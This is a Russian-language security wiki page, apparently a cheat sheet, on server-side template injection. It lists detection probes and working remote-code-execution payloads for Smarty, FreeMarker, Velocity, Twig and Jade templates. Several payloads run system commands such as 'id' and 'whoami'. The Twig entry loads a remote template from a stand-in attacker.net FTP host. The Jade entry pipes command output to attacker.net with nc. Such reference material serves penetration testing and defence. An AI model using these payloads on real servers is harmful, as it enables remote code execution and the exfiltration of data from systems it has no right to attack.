TemplateInj

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Обнаружение уязвимости

Определение обработчика шаблонов

SSTI Flow Chart.png


Jade:

= 7*7

Эксплуатация

Smarty Engine

Вызов переменной

{user.name}


${username}

RCE

{php}echo `id`;{/php}
<%
import os
x=os.popen('id').read()
%>
${x}

FreeMarker

Используется в Java

RCE

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }


Velocity

Используется в Java и C#

RCE

Blind

$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()

Viewed

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end


Twig

Используется в PHP

RCE

allow_url_include

С включенным allow_url_include (проверить можно в phpinfo() ).

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}


Other
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Вызов уязвимого метода

Sandbox
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}


Jade

RCE

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

Примеры

Translate - Google CTF 2018

Ссылки

tplmap - утилита для эксплуатации

Список пейлоадов

Вики - полный список template engines

portswigger tutorial